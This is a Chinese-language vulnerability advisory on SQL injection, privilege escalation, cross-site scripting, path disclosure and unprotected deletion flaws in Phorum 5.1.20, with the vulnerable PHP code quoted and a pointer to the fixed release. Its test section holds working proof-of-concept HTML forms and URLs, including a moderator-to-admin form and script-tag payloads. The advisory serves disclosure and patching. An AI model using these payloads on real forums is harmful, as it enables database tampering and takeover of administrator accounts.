安全研究

安全漏洞
Phorum多个输入验证漏洞

发布日期:2007-04-23
更新日期:2007-04-24

受影响系统:
Phorum Phorum 5.1.20
不受影响系统:
Phorum Phorum 5.1.22
描述:
BUGTRAQ  ID: 23616

Phorum是一款基于PHP的WEB论坛程序,可在Linux和Unix操作系统下使用,也可在Microsoft Windows操作系统下使用。

Phorum的多个脚本实现上存在输入验证漏洞,远程攻击者可能利用此漏洞非授权控制论坛。

Phorum的pm.php文件中recipients参数可能导致SQL注入漏洞。在include/db/mysq.php文件的1881行:

------------------[source code]----------------------
function phorum_db_user_get($user_id, $detailed)
{
    $PHORUM = $GLOBALS["PHORUM"];

    $conn = phorum_db_mysql_connect();

    if(is_array($user_id)){
        $user_ids=implode(",", $user_id);
    } else {
        $user_ids=(int)$user_id;
    }

    $users = array();

    $sql = "select * from {$PHORUM['user_table']} where user_id in ($user_ids)";
    $res = mysql_query($sql, $conn);
    if ($err = mysql_error()) phorum_db_mysql_error("$err: $sql");
------------------[/source code]----------------------

可见如果$user_id为数组的话,在SQL查询中使用前没有执行任何过滤。但如果要利用这个漏洞,攻击者必须拥有有效的用户帐号且已登录。

拥有moderation权限的moderator可以修改任何用户的任意数据,包括管理员,因此任何拥有moderation权限的用户都可以获得管理级权限提升。在include/controlcenter/users.php的29行:

------------------[source code]----------------------
if(!empty($_POST["user_ids"])){

    foreach($_POST["user_ids"] as $user_id){

        if(!isset($_POST["approve"])){
            $userdata["active"]=PHORUM_USER_INACTIVE;
        } else {
            $user=phorum_user_get($user_id);
            if($user["active"]==PHORUM_USER_PENDING_BOTH){
                $userdata["active"]=PHORUM_USER_PENDING_EMAIL;
            } else {
                $userdata["active"]=PHORUM_USER_ACTIVE;
                // send reg approved message
                $maildata["mailsubject"]=$PHORUM["DATA"]["LANG"]["RegApprovedSubject"];
                $maildata["mailmessage"]=wordwrap($PHORUM["DATA"]["LANG"]["RegApprovedEmailBody"], 72);
                phorum_email_user(array($user["email"]), $maildata);
            }
        }

        $userdata["user_id"]=$user_id;

        phorum_user_save($userdata);
    }
}
------------------[/source code]----------------------

可见通过操控$_POST["user_ids"]参数就可以激活或注销任意用户,包括管理员;此外$userdata没有初始化,如果php设置打开了register_globals的话就可以破坏该变量,这样moderator用户就可以为任何用户保存任意用户数据,如userdata[admin]可能带有管理用户权限。

Phorum管理界面的censorlist、banlist和组管理中存在SQL注入漏洞,组管理和smiley管理中存在跨站脚本漏洞;其中banlist中SQL注入漏洞的漏洞代码位于include/db/mysql.php的3223行:

--------------------------------------------------
function phorum_db_del_banitem($banid) {
    $PHORUM = $GLOBALS["PHORUM"];

    $conn = phorum_db_mysql_connect();

    $sql = "DELETE FROM {$PHORUM['banlist_table']} WHERE id = $banid";

    $res = mysql_query($sql, $conn);
---------------------------------------------------

Phorum的admin.php文件中module变量可能导致泄露路径。

在编辑banlist时使用了GET方式,漏洞代码位于include/admin/banlist.php的47行:

--------------------------------------------------
    if(isset($_GET["curr"])){
        if(isset($_GET["delete"])){
            phorum_db_del_banitem($_GET['curr']);
            echo "Ban Item Deleted<br />";
        } else {
            $curr = $_GET["curr"];
        }
    }
--------------------------------------------------

这可能允许用户轻易的删除banlist项。

<*来源:Janek Vind (come2waraxe@yahoo.com
  
  链接:http://marc.info/?l=bugtraq&m=117700516302167&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

pm.php文件SQL注入:

------------------[PoC exploit]-----------------------
<html>
<body>
<form action="http://localhost/phorum.5.1.20/pm.php" method="post">
<input type="hidden" name="recipients[1) OR foobar=123/* ]" value="waraxe">
<input type="submit" name"test" value="test">
</body>
</html>
------------------[/PoC exploit]----------------------

moderator管理权限提升:

------------------[PoC exploit]-----------------------
<html><head><title>Usermoderator2admin</title></head>
<body><center><br><br><br>
<form action="http://localhost/phorum.5.1.20/control.php?1" method="post">
<input type="hidden" name="panel" value="users">
<input type="hidden" name="forum_id" value="0">
<input type="hidden" name="user_ids[]" value="2">
<input type="hidden" name="userdata[admin]" value="1">
<input type="submit" name="approve" value="Make me admin!">
</form>
</center>
</body></html>
------------------[/PoC exploit]----------------------

/control.php?1中“1”为moderator拥有moderation权限的论坛ID,user_ids[2]中“2”为试图获得管理权限用户的userid。

SQL注入漏洞:

http://localhost/phorum.5.1.20/admin.php?module=badwords&curr=SELECT&delete=1
http://localhost/phorum.5.1.20/admin.php?module=banlist&delete=1&curr=OR
http://localhost/phorum.5.1.20/admin.php?module=groups

Edit groups/Add group --> war'axe

跨站脚本漏洞:

http://localhost/phorum.5.1.20/admin.php?module=groups&edit=1&group_id="><script>alert(123);</script>
http://localhost/phorum.5.1.20/admin.php?module=modsettings&mod=smileys&edit=1&smiley_id="><script>alert(123);</script>

admin.php文件路径泄露漏洞:

http://localhost/phorum.5.1.20/admin.php?module[]=groups

删除banlist项:

http://localhost/phorum.5.1.20/admin.php?module=banlist&curr=9&delete=1

建议:
厂商补丁:

Phorum
------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.phorum.org/downloads/phorum-5.1.22.tar.gz

浏览次数:3655
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障